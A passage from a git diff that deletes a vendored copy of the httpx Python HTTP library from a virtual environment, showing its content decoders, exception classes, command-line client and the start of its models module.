| None = None, - boundary: bytes | None = None, -) -> tuple[dict[str, str], SyncByteStream | AsyncByteStream]: - """ - Handles encoding the given `content`, `data`, `files`, and `json`, - returning a two-tuple of (, ). - """ - if data is not None and not isinstance(data, Mapping): - # We prefer to separate `content=` - # for raw request content, and `data=
` for url encoded or - # multipart form content. - # - # However for compat with requests, we *do* still support - # `data=` usages. We deal with that case here, treating it - # as if `content=<...>` had been supplied instead. - message = "Use 'content=<...>' to upload raw bytes/text content." - warnings.warn(message, DeprecationWarning, stacklevel=2) - return encode_content(data) - - if content is not None: - return encode_content(content) - elif files: - return encode_multipart_data(data or {}, files, boundary) - elif data: - return encode_urlencoded_data(data) - elif json is not None: - return encode_json(json) - - return {}, ByteStream(b"") - - -def encode_response( - content: ResponseContent | None = None, - text: str | None = None, - html: str | None = None, - json: Any | None = None, -) -> tuple[dict[str, str], SyncByteStream | AsyncByteStream]: - """ - Handles encoding the given `content`, returning a two-tuple of - (, ). - """ - if content is not None: - return encode_content(content) - elif text is not None: - return encode_text(text) - elif html is not None: - return encode_html(html) - elif json is not None: - return encode_json(json) - - return {}, ByteStream(b"") diff --git a/venv/Lib/site-packages/httpx/_decoders.py b/venv/Lib/site-packages/httpx/_decoders.py deleted file mode 100644 index 899dfada878e1181fca6d3c75a79526a076abb9e..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpx/_decoders.py +++ /dev/null @@ -1,393 +0,0 @@ -""" -Handlers for Content-Encoding. - -See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Encoding -""" - -from __future__ import annotations - -import codecs -import io -import typing -import zlib - -from ._exceptions import DecodingError - -# Brotli support is optional -try: - # The C bindings in `brotli` are recommended for CPython. - import brotli -except ImportError: # pragma: no cover - try: - # The CFFI bindings in `brotlicffi` are recommended for PyPy - # and other environments. - import brotlicffi as brotli - except ImportError: - brotli = None - - -# Zstandard support is optional -try: - import zstandard -except ImportError: # pragma: no cover - zstandard = None # type: ignore - - -class ContentDecoder: - def decode(self, data: bytes) -> bytes: - raise NotImplementedError() # pragma: no cover - - def flush(self) -> bytes: - raise NotImplementedError() # pragma: no cover - - -class IdentityDecoder(ContentDecoder): - """ - Handle unencoded data. - """ - - def decode(self, data: bytes) -> bytes: - return data - - def flush(self) -> bytes: - return b"" - - -class DeflateDecoder(ContentDecoder): - """ - Handle 'deflate' decoding. - - See: https://stackoverflow.com/questions/1838699 - """ - - def __init__(self) -> None: - self.first_attempt = True - self.decompressor = zlib.decompressobj() - - def decode(self, data: bytes) -> bytes: - was_first_attempt = self.first_attempt - self.first_attempt = False - try: - return self.decompressor.decompress(data) - except zlib.error as exc: - if was_first_attempt: - self.decompressor = zlib.decompressobj(-zlib.MAX_WBITS) - return self.decode(data) - raise DecodingError(str(exc)) from exc - - def flush(self) -> bytes: - try: - return self.decompressor.flush() - except zlib.error as exc: # pragma: no cover - raise DecodingError(str(exc)) from exc - - -class GZipDecoder(ContentDecoder): - """ - Handle 'gzip' decoding. - - See: https://stackoverflow.com/questions/1838699 - """ - - def __init__(self) -> None: - self.decompressor = zlib.decompressobj(zlib.MAX_WBITS | 16) - - def decode(self, data: bytes) -> bytes: - try: - return self.decompressor.decompress(data) - except zlib.error as exc: - raise DecodingError(str(exc)) from exc - - def flush(self) -> bytes: - try: - return self.decompressor.flush() - except zlib.error as exc: # pragma: no cover - raise DecodingError(str(exc)) from exc - - -class BrotliDecoder(ContentDecoder): - """ - Handle 'brotli' decoding. - - Requires `pip install brotlipy`. See: https://brotlipy.readthedocs.io/ - or `pip install brotli`. See https://github.com/google/brotli - Supports both 'brotlipy' and 'Brotli' packages since they share an import - name. The top branches are for 'brotlipy' and bottom branches for 'Brotli' - """ - - def __init__(self) -> None: - if brotli is None: # pragma: no cover - raise ImportError( - "Using 'BrotliDecoder', but neither of the 'brotlicffi' or 'brotli' " - "packages have been installed. " - "Make sure to install httpx using `pip install httpx[brotli]`." - ) from None - - self.decompressor = brotli.Decompressor() - self.seen_data = False - self._decompress: typing.Callable[[bytes], bytes] - if hasattr(self.decompressor, "decompress"): - # The 'brotlicffi' package. - self._decompress = self.decompressor.decompress # pragma: no cover - else: - # The 'brotli' package. - self._decompress = self.decompressor.process # pragma: no cover - - def decode(self, data: bytes) -> bytes: - if not data: - return b"" - self.seen_data = True - try: - return self._decompress(data) - except brotli.error as exc: - raise DecodingError(str(exc)) from exc - - def flush(self) -> bytes: - if not self.seen_data: - return b"" - try: - if hasattr(self.decompressor, "finish"): - # Only available in the 'brotlicffi' package. - - # As the decompressor decompresses eagerly, this - # will never actually emit any data. However, it will potentially throw - # errors if a truncated or damaged data stream has been used. - self.decompressor.finish() # pragma: no cover - return b"" - except brotli.error as exc: # pragma: no cover - raise DecodingError(str(exc)) from exc - - -class ZStandardDecoder(ContentDecoder): - """ - Handle 'zstd' RFC 8878 decoding. - - Requires `pip install zstandard`. - Can be installed as a dependency of httpx using `pip install httpx[zstd]`. - """ - - # inspired by the ZstdDecoder implementation in urllib3 - def __init__(self) -> None: - if zstandard is None: # pragma: no cover - raise ImportError( - "Using 'ZStandardDecoder', ..." - "Make sure to install httpx using `pip install httpx[zstd]`." - ) from None - - self.decompressor = zstandard.ZstdDecompressor().decompressobj() - self.seen_data = False - - def decode(self, data: bytes) -> bytes: - assert zstandard is not None - self.seen_data = True - output = io.BytesIO() - try: - output.write(self.decompressor.decompress(data)) - while self.decompressor.eof and self.decompressor.unused_data: - unused_data = self.decompressor.unused_data - self.decompressor = zstandard.ZstdDecompressor().decompressobj() - output.write(self.decompressor.decompress(unused_data)) - except zstandard.ZstdError as exc: - raise DecodingError(str(exc)) from exc - return output.getvalue() - - def flush(self) -> bytes: - if not self.seen_data: - return b"" - ret = self.decompressor.flush() # note: this is a no-op - if not self.decompressor.eof: - raise DecodingError("Zstandard data is incomplete") # pragma: no cover - return bytes(ret) - - -class MultiDecoder(ContentDecoder): - """ - Handle the case where multiple encodings have been applied. - """ - - def __init__(self, children: typing.Sequence[ContentDecoder]) -> None: - """ - 'children' should be a sequence of decoders in the order in which - each was applied. - """ - # Note that we reverse the order for decoding. - self.children = list(reversed(children)) - - def decode(self, data: bytes) -> bytes: - for child in self.children: - data = child.decode(data) - return data - - def flush(self) -> bytes: - data = b"" - for child in self.children: - data = child.decode(data) + child.flush() - return data - - -class ByteChunker: - """ - Handles returning byte content in fixed-size chunks. - """ - - def __init__(self, chunk_size: int | None = None) -> None: - self._buffer = io.BytesIO() - self._chunk_size = chunk_size - - def decode(self, content: bytes) -> list[bytes]: - if self._chunk_size is None: - return [content] if content else [] - - self._buffer.write(content) - if self._buffer.tell() >= self._chunk_size: - value = self._buffer.getvalue() - chunks = [ - value[i : i + self._chunk_size] - for i in range(0, len(value), self._chunk_size) - ] - if len(chunks[-1]) == self._chunk_size: - self._buffer.seek(0) - self._buffer.truncate() - return chunks - else: - self._buffer.seek(0) - self._buffer.write(chunks[-1]) - self._buffer.truncate() - return chunks[:-1] - else: - return [] - - def flush(self) -> list[bytes]: - value = self._buffer.getvalue() - self._buffer.seek(0) - self._buffer.truncate() - return [value] if value else [] - - -class TextChunker: - """ - Handles returning text content in fixed-size chunks. - """ - - def __init__(self, chunk_size: int | None = None) -> None: - self._buffer = io.StringIO() - self._chunk_size = chunk_size - - def decode(self, content: str) -> list[str]: - if self._chunk_size is None: - return [content] if content else [] - - self._buffer.write(content) - if self._buffer.tell() >= self._chunk_size: - value = self._buffer.getvalue() - chunks = [ - value[i : i + self._chunk_size] - for i in range(0, len(value), self._chunk_size) - ] - if len(chunks[-1]) == self._chunk_size: - self._buffer.seek(0) - self._buffer.truncate() - return chunks - else: - self._buffer.seek(0) - self._buffer.write(chunks[-1]) - self._buffer.truncate() - return chunks[:-1] - else: - return [] - - def flush(self) -> list[str]: - value = self._buffer.getvalue() - self._buffer.seek(0) - self._buffer.truncate() - return [value] if value else [] - - -class TextDecoder: - """ - Handles incrementally decoding bytes into text - """ - - def __init__(self, encoding: str = "utf-8") -> None: - self.decoder = codecs.getincrementaldecoder(encoding)(errors="replace") - - def decode(self, data: bytes) -> str: - return self.decoder.decode(data) - - def flush(self) -> str: - return self.decoder.decode(b"", True) - - -class LineDecoder: - """ - Handles incrementally reading lines from text. - - Has the same behaviour as the stdllib splitlines, - but handling the input iteratively. - """ - - def __init__(self) -> None: - self.buffer: list[str] = [] - self.trailing_cr: bool = False - - def decode(self, text: str) -> list[str]: - # See https://docs.python.org/3/library/stdtypes.html#str.splitlines - NEWLINE_CHARS = "\n\r\x0b\x0c\x1c\x1d\x1e\x85\u2028\u2029" - - # We always push a trailing `\r` into the next decode iteration. - if self.trailing_cr: - text = "\r" + text - self.trailing_cr = False - if text.endswith("\r"): - self.trailing_cr = True - text = text[:-1] - - if not text: - # NOTE: the edge case input of empty text doesn't occur in practice, - # because other httpx internals filter out this value - return [] # pragma: no cover - - trailing_newline = text[-1] in NEWLINE_CHARS - lines = text.splitlines() - - if len(lines) == 1 and not trailing_newline: - # No new lines, buffer the input and continue. - self.buffer.append(lines[0]) - return [] - - if self.buffer: - # Include any existing buffer in the first portion of the - # splitlines result. - lines = ["".join(self.buffer) + lines[0]] + lines[1:] - self.buffer = [] - - if not trailing_newline: - # If the last segment of splitlines is not newline terminated, - # then drop it from our output and start a new buffer. - self.buffer = [lines.pop()] - - return lines - - def flush(self) -> list[str]: - if not self.buffer and not self.trailing_cr: - return [] - - lines = ["".join(self.buffer)] - self.buffer = [] - self.trailing_cr = False - return lines - - -SUPPORTED_DECODERS = { - "identity": IdentityDecoder, - "gzip": GZipDecoder, - "deflate": DeflateDecoder, - "br": BrotliDecoder, - "zstd": ZStandardDecoder, -} - - -if brotli is None: - SUPPORTED_DECODERS.pop("br") # pragma: no cover -if zstandard is None: - SUPPORTED_DECODERS.pop("zstd") # pragma: no cover diff --git a/venv/Lib/site-packages/httpx/_exceptions.py b/venv/Lib/site-packages/httpx/_exceptions.py deleted file mode 100644 index 77f45a6d3986d15626fc8a5fd459d6a3e0fbe466..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpx/_exceptions.py +++ /dev/null @@ -1,379 +0,0 @@ -""" -Our exception hierarchy: - -* HTTPError - x RequestError - + TransportError - - TimeoutException - · ConnectTimeout - · ReadTimeout - · WriteTimeout - · PoolTimeout - - NetworkError - · ConnectError - · ReadError - · WriteError - · CloseError - - ProtocolError - · LocalProtocolError - · RemoteProtocolError - - ProxyError - - UnsupportedProtocol - + DecodingError - + TooManyRedirects - x HTTPStatusError -* InvalidURL -* CookieConflict -* StreamError - x StreamConsumed - x StreamClosed - x ResponseNotRead - x RequestNotRead -""" - -from __future__ import annotations - -import contextlib -import typing - -if typing.TYPE_CHECKING: - from ._models import Request, Response # pragma: no cover - -__all__ = [ - "CloseError", - "ConnectError", - "ConnectTimeout", - "CookieConflict", - "DecodingError", - "HTTPError", - "HTTPStatusError", - "InvalidURL", - "LocalProtocolError", - "NetworkError", - "PoolTimeout", - "ProtocolError", - "ProxyError", - "ReadError", - "ReadTimeout", - "RemoteProtocolError", - "RequestError", - "RequestNotRead", - "ResponseNotRead", - "StreamClosed", - "StreamConsumed", - "StreamError", - "TimeoutException", - "TooManyRedirects", - "TransportError", - "UnsupportedProtocol", - "WriteError", - "WriteTimeout", -] - - -class HTTPError(Exception): - """ - Base class for `RequestError` and `HTTPStatusError`. - - Useful for `try...except` blocks when issuing a request, - and then calling `.raise_for_status()`. - - For example: - - ``` - try: - response = httpx.get("https://www.example.com") - response.raise_for_status() - except httpx.HTTPError as exc: - print(f"HTTP Exception for {exc.request.url} - {exc}") - ``` - """ - - def __init__(self, message: str) -> None: - super().__init__(message) - self._request: Request | None = None - - @property - def request(self) -> Request: - if self._request is None: - raise RuntimeError("The .request property has not been set.") - return self._request - - @request.setter - def request(self, request: Request) -> None: - self._request = request - - -class RequestError(HTTPError): - """ - Base class for all exceptions that may occur when issuing a `.request()`. - """ - - def __init__(self, message: str, *, request: Request | None = None) -> None: - super().__init__(message) - # At the point an exception is raised we won't typically have a request - # instance to associate it with. - # - # The 'request_context' context manager is used within the Client and - # Response methods in order to ensure that any raised exceptions - # have a `.request` property set on them. - self._request = request - - -class TransportError(RequestError): - """ - Base class for all exceptions that occur at the level of the Transport API. - """ - - -# Timeout exceptions... - - -class TimeoutException(TransportError): - """ - The base class for timeout errors. - - An operation has timed out. - """ - - -class ConnectTimeout(TimeoutException): - """ - Timed out while connecting to the host. - """ - - -class ReadTimeout(TimeoutException): - """ - Timed out while receiving data from the host. - """ - - -class WriteTimeout(TimeoutException): - """ - Timed out while sending data to the host. - """ - - -class PoolTimeout(TimeoutException): - """ - Timed out waiting to acquire a connection from the pool. - """ - - -# Core networking exceptions... - - -class NetworkError(TransportError): - """ - The base class for network-related errors. - - An error occurred while interacting with the network. - """ - - -class ReadError(NetworkError): - """ - Failed to receive data from the network. - """ - - -class WriteError(NetworkError): - """ - Failed to send data through the network. - """ - - -class ConnectError(NetworkError): - """ - Failed to establish a connection. - """ - - -class CloseError(NetworkError): - """ - Failed to close a connection. - """ - - -# Other transport exceptions... - - -class ProxyError(TransportError): - """ - An error occurred while establishing a proxy connection. - """ - - -class UnsupportedProtocol(TransportError): - """ - Attempted to make a request to an unsupported protocol. - - For example issuing a request to `ftp://www.example.com`. - """ - - -class ProtocolError(TransportError): - """ - The protocol was violated. - """ - - -class LocalProtocolError(ProtocolError): - """ - A protocol was violated by the client. - - For example if the user instantiated a `Request` instance explicitly, - failed to include the mandatory `Host:` header, and then issued it directly - using `client.send()`. - """ - - -class RemoteProtocolError(ProtocolError): - """ - The protocol was violated by the server. - - For example, returning malformed HTTP. - """ - - -# Other request exceptions... - - -class DecodingError(RequestError): - """ - Decoding of the response failed, due to a malformed encoding. - """ - - -class TooManyRedirects(RequestError): - """ - Too many redirects. - """ - - -# Client errors - - -class HTTPStatusError(HTTPError): - """ - The response had an error HTTP status of 4xx or 5xx. - - May be raised when calling `response.raise_for_status()` - """ - - def __init__(self, message: str, *, request: Request, response: Response) -> None: - super().__init__(message) - self.request = request - self.response = response - - -class InvalidURL(Exception): - """ - URL is improperly formed or cannot be parsed. - """ - - def __init__(self, message: str) -> None: - super().__init__(message) - - -class CookieConflict(Exception): - """ - Attempted to lookup a cookie by name, but multiple cookies existed. - - Can occur when calling `response.cookies.get(...)`. - """ - - def __init__(self, message: str) -> None: - super().__init__(message) - - -# Stream exceptions... - -# These may occur as the result of a programming error, by accessing -# the request/response stream in an invalid manner. - - -class StreamError(RuntimeError): - """ - The base class for stream exceptions. - - The developer made an error in accessing the request stream in - an invalid way. - """ - - def __init__(self, message: str) -> None: - super().__init__(message) - - -class StreamConsumed(StreamError): - """ - Attempted to read or stream content, but the content has already - been streamed. - """ - - def __init__(self) -> None: - message = ( - "Attempted to read or stream some content, but the content has " - "already been streamed. For requests, this could be due to passing " - "a generator as request content, and then receiving a redirect " - "response or a secondary request as part of an authentication flow." - "For responses, this could be due to attempting to stream the response " - "content more than once." - ) - super().__init__(message) - - -class StreamClosed(StreamError): - """ - Attempted to read or stream response content, but the request has been - closed. - """ - - def __init__(self) -> None: - message = ( - "Attempted to read or stream content, but the stream has " "been closed." - ) - super().__init__(message) - - -class ResponseNotRead(StreamError): - """ - Attempted to access streaming response content, without having called `read()`. - """ - - def __init__(self) -> None: - message = ( - "Attempted to access streaming response content," - " without having called `read()`." - ) - super().__init__(message) - - -class RequestNotRead(StreamError): - """ - Attempted to access streaming request content, without having called `read()`. - """ - - def __init__(self) -> None: - message = ( - "Attempted to access streaming request content," - " without having called `read()`." - ) - super().__init__(message) - - -@contextlib.contextmanager -def request_context( - request: Request | None = None, -) -> typing.Iterator[None]: - """ - A context manager that can be used to attach the given request context - to any `RequestError` exceptions that are raised within the block. - """ - try: - yield - except RequestError as exc: - if request is not None: - exc.request = request - raise exc diff --git a/venv/Lib/site-packages/httpx/_main.py b/venv/Lib/site-packages/httpx/_main.py deleted file mode 100644 index cffa4bb7db0f930f4db56653a061c4d7400ba4e6..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpx/_main.py +++ /dev/null @@ -1,506 +0,0 @@ -from __future__ import annotations - -import functools -import json -import sys -import typing - -import click -import pygments.lexers -import pygments.util -import rich.console -import rich.markup -import rich.progress -import rich.syntax -import rich.table - -from ._client import Client -from ._exceptions import RequestError -from ._models import Response -from ._status_codes import codes - -if typing.TYPE_CHECKING: - import httpcore # pragma: no cover - - -def print_help() -> None: - console = rich.console.Console() - - console.print("[bold]HTTPX :butterfly:", justify="center") - console.print() - console.print("A next generation HTTP client.", justify="center") - console.print() - console.print( - "Usage: [bold]httpx[/bold] [cyan] [OPTIONS][/cyan] ", justify="left" - ) - console.print() - - table = rich.table.Table.grid(padding=1, pad_edge=True) - table.add_column("Parameter", no_wrap=True, justify="left", style="bold") - table.add_column("Description") - table.add_row( - "-m, --method [cyan]METHOD", - "Request method, such as GET, POST, PUT, PATCH, DELETE, OPTIONS, HEAD.\n" - "[Default: GET, or POST if a request body is included]", - ) - table.add_row( - "-p, --params [cyan] ...", - "Query parameters to include in the request URL.", - ) - table.add_row( - "-c, --content [cyan]TEXT", "Byte content to include in the request body." - ) - table.add_row( - "-d, --data [cyan] ...", "Form data to include in the request body." - ) - table.add_row( - "-f, --files [cyan] ...", - "Form files to include in the request body.", - ) - table.add_row("-j, --json [cyan]TEXT", "JSON data to include in the request body.") - table.add_row( - "-h, --headers [cyan] ...", - "Include additional HTTP headers in the request.", - ) - table.add_row( - "--cookies [cyan] ...", "Cookies to include in the request." - ) - table.add_row( - "--auth [cyan]", - "Username and password to include in the request. Specify '-' for the password" - " to use a password prompt. Note that using --verbose/-v will expose" - " the Authorization header, including the password encoding" - " in a trivially reversible format.", - ) - - table.add_row( - "--proxy [cyan]URL", - "Send the request via a proxy. Should be the URL giving the proxy address.", - ) - - table.add_row( - "--timeout [cyan]FLOAT", - "Timeout value to use for network operations, such as establishing the" - " connection, reading some data, etc... [Default: 5.0]", - ) - - table.add_row("--follow-redirects", "Automatically follow redirects.") - table.add_row("--no-verify", "Disable SSL verification.") - table.add_row( - "--http2", "Send the request using HTTP/2, if the remote server supports it." - ) - - table.add_row( - "--download [cyan]FILE", - "Save the response content as a file, rather than displaying it.", - ) - - table.add_row("-v, --verbose", "Verbose output. Show request as well as response.") - table.add_row("--help", "Show this message and exit.") - console.print(table) - - -def get_lexer_for_response(response: Response) -> str: - content_type = response.headers.get("Content-Type") - if content_type is not None: - mime_type, _, _ = content_type.partition(";") - try: - return typing.cast( - str, pygments.lexers.get_lexer_for_mimetype(mime_type.strip()).name - ) - except pygments.util.ClassNotFound: # pragma: no cover - pass - return "" # pragma: no cover - - -def format_request_headers(request: httpcore.Request, http2: bool = False) -> str: - version = "HTTP/2" if http2 else "HTTP/1.1" - headers = [ - (name.lower() if http2 else name, value) for name, value in request.headers - ] - method = request.method.decode("ascii") - target = request.url.target.decode("ascii") - lines = [f"{method} {target} {version}"] + [ - f"{name.decode('ascii')}: {value.decode('ascii')}" for name, value in headers - ] - return "\n".join(lines) - - -def format_response_headers( - http_version: bytes, - status: int, - reason_phrase: bytes | None, - headers: list[tuple[bytes, bytes]], -) -> str: - version = http_version.decode("ascii") - reason = ( - codes.get_reason_phrase(status) - if reason_phrase is None - else reason_phrase.decode("ascii") - ) - lines = [f"{version} {status} {reason}"] + [ - f"{name.decode('ascii')}: {value.decode('ascii')}" for name, value in headers - ] - return "\n".join(lines) - - -def print_request_headers(request: httpcore.Request, http2: bool = False) -> None: - console = rich.console.Console() - http_text = format_request_headers(request, http2=http2) - syntax = rich.syntax.Syntax(http_text, "http", theme="ansi_dark", word_wrap=True) - console.print(syntax) - syntax = rich.syntax.Syntax("", "http", theme="ansi_dark", word_wrap=True) - console.print(syntax) - - -def print_response_headers( - http_version: bytes, - status: int, - reason_phrase: bytes | None, - headers: list[tuple[bytes, bytes]], -) -> None: - console = rich.console.Console() - http_text = format_response_headers(http_version, status, reason_phrase, headers) - syntax = rich.syntax.Syntax(http_text, "http", theme="ansi_dark", word_wrap=True) - console.print(syntax) - syntax = rich.syntax.Syntax("", "http", theme="ansi_dark", word_wrap=True) - console.print(syntax) - - -def print_response(response: Response) -> None: - console = rich.console.Console() - lexer_name = get_lexer_for_response(response) - if lexer_name: - if lexer_name.lower() == "json": - try: - data = response.json() - text = json.dumps(data, indent=4) - except ValueError: # pragma: no cover - text = response.text - else: - text = response.text - - syntax = rich.syntax.Syntax(text, lexer_name, theme="ansi_dark", word_wrap=True) - console.print(syntax) - else: - console.print(f"<{len(response.content)} bytes of binary data>") - - -_PCTRTT = typing.Tuple[typing.Tuple[str, str], ...] -_PCTRTTT = typing.Tuple[_PCTRTT, ...] -_PeerCertRetDictType = typing.Dict[str, typing.Union[str, _PCTRTTT, _PCTRTT]] - - -def format_certificate(cert: _PeerCertRetDictType) -> str: # pragma: no cover - lines = [] - for key, value in cert.items(): - if isinstance(value, (list, tuple)): - lines.append(f"* {key}:") - for item in value: - if key in ("subject", "issuer"): - for sub_item in item: - lines.append(f"* {sub_item[0]}: {sub_item[1]!r}") - elif isinstance(item, tuple) and len(item) == 2: - lines.append(f"* {item[0]}: {item[1]!r}") - else: - lines.append(f"* {item!r}") - else: - lines.append(f"* {key}: {value!r}") - return "\n".join(lines) - - -def trace( - name: str, info: typing.Mapping[str, typing.Any], verbose: bool = False -) -> None: - console = rich.console.Console() - if name == "connection.connect_tcp.started" and verbose: - host = info["host"] - console.print(f"* Connecting to {host!r}") - elif name == "connection.connect_tcp.complete" and verbose: - stream = info["return_value"] - server_addr = stream.get_extra_info("server_addr") - console.print(f"* Connected to {server_addr[0]!r} on port {server_addr[1]}") - elif name == "connection.start_tls.complete" and verbose: # pragma: no cover - stream = info["return_value"] - ssl_object = stream.get_extra_info("ssl_object") - version = ssl_object.version() - cipher = ssl_object.cipher() - server_cert = ssl_object.getpeercert() - alpn = ssl_object.selected_alpn_protocol() - console.print(f"* SSL established using {version!r} / {cipher[0]!r}") - console.print(f"* Selected ALPN protocol: {alpn!r}") - if server_cert: - console.print("* Server certificate:") - console.print(format_certificate(server_cert)) - elif name == "http11.send_request_headers.started" and verbose: - request = info["request"] - print_request_headers(request, http2=False) - elif name == "http2.send_request_headers.started" and verbose: # pragma: no cover - request = info["request"] - print_request_headers(request, http2=True) - elif name == "http11.receive_response_headers.complete": - http_version, status, reason_phrase, headers = info["return_value"] - print_response_headers(http_version, status, reason_phrase, headers) - elif name == "http2.receive_response_headers.complete": # pragma: no cover - status, headers = info["return_value"] - http_version = b"HTTP/2" - reason_phrase = None - print_response_headers(http_version, status, reason_phrase, headers) - - -def download_response(response: Response, download: typing.BinaryIO) -> None: - console = rich.console.Console() - console.print() - content_length = response.headers.get("Content-Length") - with rich.progress.Progress( - "[progress.description]{task.description}", - "[progress.percentage]{task.percentage:>3.0f}%", - rich.progress.BarColumn(bar_width=None), - rich.progress.DownloadColumn(), - rich.progress.TransferSpeedColumn(), - ) as progress: - description = f"Downloading [bold]{rich.markup.escape(download.name)}" - download_task = progress.add_task( - description, - total=int(content_length or 0), - start=content_length is not None, - ) - for chunk in response.iter_bytes(): - download.write(chunk) - progress.update(download_task, completed=response.num_bytes_downloaded) - - -def validate_json( - ctx: click.Context, - param: click.Option | click.Parameter, - value: typing.Any, -) -> typing.Any: - if value is None: - return None - - try: - return json.loads(value) - except json.JSONDecodeError: # pragma: no cover - raise click.BadParameter("Not valid JSON") - - -def validate_auth( - ctx: click.Context, - param: click.Option | click.Parameter, - value: typing.Any, -) -> typing.Any: - if value == (None, None): - return None - - username, password = value - if password == "-": # pragma: no cover - password = click.prompt("Password", hide_input=True) - return (username, password) - - -def handle_help( - ctx: click.Context, - param: click.Option | click.Parameter, - value: typing.Any, -) -> None: - if not value or ctx.resilient_parsing: - return - - print_help() - ctx.exit() - - -@click.command(add_help_option=False) -@click.argument("url", type=str) -@click.option( - "--method", - "-m", - "method", - type=str, - help=( - "Request method, such as GET, POST, PUT, PATCH, DELETE, OPTIONS, HEAD. " - "[Default: GET, or POST if a request body is included]" - ), -) -@click.option( - "--params", - "-p", - "params", - type=(str, str), - multiple=True, - help="Query parameters to include in the request URL.", -) -@click.option( - "--content", - "-c", - "content", - type=str, - help="Byte content to include in the request body.", -) -@click.option( - "--data", - "-d", - "data", - type=(str, str), - multiple=True, - help="Form data to include in the request body.", -) -@click.option( - "--files", - "-f", - "files", - type=(str, click.File(mode="rb")), - multiple=True, - help="Form files to include in the request body.", -) -@click.option( - "--json", - "-j", - "json", - type=str, - callback=validate_json, - help="JSON data to include in the request body.", -) -@click.option( - "--headers", - "-h", - "headers", - type=(str, str), - multiple=True, - help="Include additional HTTP headers in the request.", -) -@click.option( - "--cookies", - "cookies", - type=(str, str), - multiple=True, - help="Cookies to include in the request.", -) -@click.option( - "--auth", - "auth", - type=(str, str), - default=(None, None), - callback=validate_auth, - help=( - "Username and password to include in the request. " - "Specify '-' for the password to use a password prompt. " - "Note that using --verbose/-v will expose the Authorization header, " - "including the password encoding in a trivially reversible format." - ), -) -@click.option( - "--proxy", - "proxy", - type=str, - default=None, - help="Send the request via a proxy. Should be the URL giving the proxy address.", -) -@click.option( - "--timeout", - "timeout", - type=float, - default=5.0, - help=( - "Timeout value to use for network operations, such as establishing the " - "connection, reading some data, etc... [Default: 5.0]" - ), -) -@click.option( - "--follow-redirects", - "follow_redirects", - is_flag=True, - default=False, - help="Automatically follow redirects.", -) -@click.option( - "--no-verify", - "verify", - is_flag=True, - default=True, - help="Disable SSL verification.", -) -@click.option( - "--http2", - "http2", - type=bool, - is_flag=True, - default=False, - help="Send the request using HTTP/2, if the remote server supports it.", -) -@click.option( - "--download", - type=click.File("wb"), - help="Save the response content as a file, rather than displaying it.", -) -@click.option( - "--verbose", - "-v", - type=bool, - is_flag=True, - default=False, - help="Verbose. Show request as well as response.", -) -@click.option( - "--help", - is_flag=True, - is_eager=True, - expose_value=False, - callback=handle_help, - help="Show this message and exit.", -) -def main( - url: str, - method: str, - params: list[tuple[str, str]], - content: str, - data: list[tuple[str, str]], - files: list[tuple[str, click.File]], - json: str, - headers: list[tuple[str, str]], - cookies: list[tuple[str, str]], - auth: tuple[str, str] | None, - proxy: str, - timeout: float, - follow_redirects: bool, - verify: bool, - http2: bool, - download: typing.BinaryIO | None, - verbose: bool, -) -> None: - """ - An HTTP command line client. - Sends a request and displays the response. - """ - if not method: - method = "POST" if content or data or files or json else "GET" - - try: - with Client(proxy=proxy, timeout=timeout, http2=http2, verify=verify) as client: - with client.stream( - method, - url, - params=list(params), - content=content, - data=dict(data), - files=files, # type: ignore - json=json, - headers=headers, - cookies=dict(cookies), - auth=auth, - follow_redirects=follow_redirects, - extensions={"trace": functools.partial(trace, verbose=verbose)}, - ) as response: - if download is not None: - download_response(response, download) - else: - response.read() - if response.content: - print_response(response) - - except RequestError as exc: - console = rich.console.Console() - console.print(f"[red]{type(exc).__name__}[/red]: {exc}") - sys.exit(1) - - sys.exit(0 if response.is_success else 1) diff --git a/venv/Lib/site-packages/httpx/_models.py b/venv/Lib/site-packages/httpx/_models.py deleted file mode 100644 index 67d74bf86bfc80e22d9a4a3153572845accd9039..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpx/_models.py +++ /dev/null @@ -1,1277 +0,0 @@ -from __future__ import annotations - -import codecs -import datetime -import email.message -import json as jsonlib -import re -import typing -import urllib.request -from collections.abc import Mapping -from http.cookiejar import Cookie, CookieJar - -from ._content import ByteStream, UnattachedStream, encode_request, encode_response -from ._decoders import ( - SUPPORTED_DECODERS, - ByteChunker, - ContentDecoder, - IdentityDecoder, - LineDecoder, - MultiDecoder, - TextChunker, - TextDecoder, -) -from ._exceptions import ( - CookieConflict, - HTTPStatusError, - RequestNotRead, - ResponseNotRead, - StreamClosed, - StreamConsumed, - request_context, -) -from ._multipart import get_multipart_boundary_from_content_type -from ._status_codes import codes -from ._types import ( - AsyncByteStream, - CookieTypes, - HeaderTypes, - QueryParamTypes, - RequestContent, - RequestData, - RequestExtensions, - RequestFiles, - ResponseContent, - ResponseExtensions, - SyncByteStream, -) -from ._urls import URL -from ._utils import to_bytes_or_str, to_str - -__all__ = ["Cookies", "Headers", "Request", "Response"] - -SENSITIVE_HEADERS = {"authorization", "proxy-authorization"} - - -def _is_known_encoding(encoding: str) -> bool: - """ - Return `True` if `encoding` is a known codec. - """ - try: - codecs.lookup(encoding) - except LookupError: - return False - return True - - -def _normalize_header_key(key: str | bytes, encoding: str | None = None) -> bytes: - """ - Coerce str/bytes into a strictly byte-wise HTTP header key. - """ - return key if isinstance(key, bytes) else key.encode(encoding or "ascii") - - -def _normalize_header_value(value: str | bytes, encoding: str | None = None) -> bytes: - """ - Coerce str/bytes into a strictly byte-wise HTTP header value. - """ - if isinstance(value, bytes): - return value - if not isinstance(value, str): - raise TypeError(f"Header value must be str or bytes, not {type(value)}") - return value.encode(encoding or "ascii") - - -def _parse_content_type_charset(content_type: str) -> str | None: - # We used to use `cgi.parse_header()` here, but `cgi` became a dead battery. - # See: https://peps.python.org/pep-0594/#cgi - msg = email.message.Message() - msg["content-type"] = content_type - return msg.get_content_charset(failobj=None) - - -def _parse_header_links(value: str) -> list[dict[str, str]]: - """ - Returns a list of parsed link headers, for more info see: - https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Link - The generic syntax of those is: - Link: < uri-reference >; param1=value1; param2="value2" - So for instance: - Link; '; type="image/jpeg",;' - would return - [ - {"url": "http:/.../front.jpeg", "type": "image/jpeg"}, - {"url": "http://.../back.jpeg"}, - ] - :param value: HTTP Link entity-header field - :return: list of parsed link headers - """ - links: list[dict[str, str]] = [] - replace_chars = " '\"" - value = value.strip(replace_chars) - if not value: - 